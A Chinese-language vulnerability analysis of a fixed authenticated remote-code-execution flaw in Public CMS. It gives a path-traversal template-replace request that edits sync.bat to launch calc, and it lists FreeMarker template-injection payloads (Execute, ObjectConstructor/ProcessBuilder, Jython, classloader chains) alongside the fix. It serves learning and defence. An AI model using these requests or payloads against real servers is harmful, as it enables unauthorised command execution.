某CMS的RCE漏洞分析&思路扩展(新手学习)
字数 1275 2025-08-06 08:35:11

Public CMS RCE漏洞分析与利用指南

0x00 漏洞概述

Public CMS是一个开源的Java CMS系统,存在一处远程代码执行(RCE)漏洞。该漏洞允许认证管理员通过模板替换功能修改系统脚本内容,进而执行任意命令。漏洞现已修复,但分析过程对学习CMS漏洞挖掘具有重要参考价值。

0x01 漏洞发现

关键功能点

  • 系统提供执行脚本功能,支持bat(Windows)和sh(Linux)脚本
  • 提供模板文本内容替换功能,可修改系统文件内容

初始请求分析

执行脚本的请求示例:

POST /publiccms_war/admin/sysSite/execScript?navTabId=sysSite/script HTTP/1.1
Host: 127.0.0.1:8081
...
_csrf=553ba132-1c5f-4218-bb35-f955109d8446&command=sync.bat&parameters=1

0x02 漏洞分析

路由与控制器

  • 控制器方法处理commandparameters参数
  • command为脚本名,parameters为参数siteId

执行流程

  1. 脚本名检查:

    • 如果是backupdb.batbackupdb.sh,加载数据库配置
    • 否则(如sync.batsync.sh),对参数进行正则检查
  2. 命令执行:

    • 创建文件路径:CMS_FILEPATH + /script + 脚本名
    • 文件不存在时获取输入流内容并复制到脚本文件
    • 使用Runtime.getRuntime().exec()执行脚本

模板替换功能

替换模板的请求示例:

POST /publiccms_war/admin/cmsTemplate/replace?navTabId=cmsTemplate/list HTTP/1.1
...
_csrf=553ba132-1c5f-4218-bb35-f955109d8446&word=login&replace=1234&replaceList%5B0%5D.path=%2Fmember%2Flogin.html&replaceList%5B0%5D.indexs=0...

关键点:

  • word: 查询内容
  • replace: 替换内容
  • replaceList[0].path: 文件路径
  • replaceList[0].indexs: 内容出现位置索引

路径穿越漏洞

  • 系统未对替换的文件路径做限制
  • 可使用../../穿越到脚本目录
  • 模板路径:\publiccms\template\site_id\xx\xx
  • 脚本路径:\publiccms\script\sync.bat

0x03 漏洞复现

步骤1:修改脚本内容

构造请求替换sync.bat内容:

POST /publiccms_war/admin/cmsTemplate/replace?navTabId=cmsTemplate/list HTTP/1.1
...
_csrf=553ba132-1c5f-4218-bb35-f955109d8446&word=echo%20%22repo%20not%20config!%22&replace=echo%20%22repo%20not%20config!%22%20%26%20start%20calc&replaceList%5B0%5D.path=../../script/sync.bat&replaceList%5B0%5D.indexs=0

步骤2:执行脚本触发命令

执行修改后的脚本将弹出计算器(Windows)或执行其他命令。

0x04 漏洞修复

修复方法:

  • 添加getSafeFileName方法
  • 对传入路径中的..做置空处理

0x05 漏洞扩展思路

1. 文件上传利用

  • 修改上传路径到脚本目录
  • 上传恶意脚本并执行
  • 注意系统对路径安全的处理方法

2. 脚本执行路径控制

  • 修改脚本执行路径到用户目录
  • 注意系统对脚本名的匹配方法
  • 该系统使用ArrayUtils.contains严格匹配预设脚本名

3. 模板注入

该系统使用Freemarker 2.3.32版本,历史版本可利用POC:

new()方法(2.3.17前有效)

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")

API方法(需api_builtin_enabled=true)

<#assign classLoader=object?api.class.protectionDomain.classLoader>
...
${ex("Calc"")}

2.3.30以下版本

<#assign classloader=<<object>>.class.protectionDomain.classLoader>
...
${dwf.newInstance(ec,null)("whoami")}

总结

该漏洞展示了CMS系统中常见的几类安全问题:

  1. 未严格限制文件操作路径导致的目录穿越
  2. 命令执行功能缺乏足够的输入验证
  3. 模板系统可能存在的注入风险

对于安全研究人员,分析此类漏洞时应重点关注:

  • 文件操作相关的路径处理
  • 命令执行功能的实现方式
  • 模板引擎的版本和配置
  • 系统对用户输入的处理和过滤机制
Public CMS RCE漏洞分析与利用指南 0x00 漏洞概述 Public CMS是一个开源的Java CMS系统,存在一处远程代码执行(RCE)漏洞。该漏洞允许认证管理员通过模板替换功能修改系统脚本内容,进而执行任意命令。漏洞现已修复,但分析过程对学习CMS漏洞挖掘具有重要参考价值。 0x01 漏洞发现 关键功能点 系统提供执行脚本功能,支持bat(Windows)和sh(Linux)脚本 提供模板文本内容替换功能,可修改系统文件内容 初始请求分析 执行脚本的请求示例: 0x02 漏洞分析 路由与控制器 控制器方法处理 command 和 parameters 参数 command 为脚本名, parameters 为参数siteId 执行流程 脚本名检查: 如果是 backupdb.bat 或 backupdb.sh ,加载数据库配置 否则(如 sync.bat 或 sync.sh ),对参数进行正则检查 命令执行: 创建文件路径: CMS_FILEPATH + /script + 脚本名 文件不存在时获取输入流内容并复制到脚本文件 使用 Runtime.getRuntime().exec() 执行脚本 模板替换功能 替换模板的请求示例: 关键点: word : 查询内容 replace : 替换内容 replaceList[0].path : 文件路径 replaceList[0].indexs : 内容出现位置索引 路径穿越漏洞 系统未对替换的文件路径做限制 可使用 ../../ 穿越到脚本目录 模板路径: \publiccms\template\site_id\xx\xx 脚本路径: \publiccms\script\sync.bat 0x03 漏洞复现 步骤1:修改脚本内容 构造请求替换 sync.bat 内容: 步骤2:执行脚本触发命令 执行修改后的脚本将弹出计算器(Windows)或执行其他命令。 0x04 漏洞修复 修复方法: 添加 getSafeFileName 方法 对传入路径中的 .. 做置空处理 0x05 漏洞扩展思路 1. 文件上传利用 修改上传路径到脚本目录 上传恶意脚本并执行 注意系统对路径安全的处理方法 2. 脚本执行路径控制 修改脚本执行路径到用户目录 注意系统对脚本名的匹配方法 该系统使用 ArrayUtils.contains 严格匹配预设脚本名 3. 模板注入 该系统使用Freemarker 2.3.32版本,历史版本可利用POC: new()方法(2.3.17前有效) API方法(需api_ builtin_ enabled=true) 2.3.30以下版本 总结 该漏洞展示了CMS系统中常见的几类安全问题: 未严格限制文件操作路径导致的目录穿越 命令执行功能缺乏足够的输入验证 模板系统可能存在的注入风险 对于安全研究人员,分析此类漏洞时应重点关注: 文件操作相关的路径处理 命令执行功能的实现方式 模板引擎的版本和配置 系统对用户输入的处理和过滤机制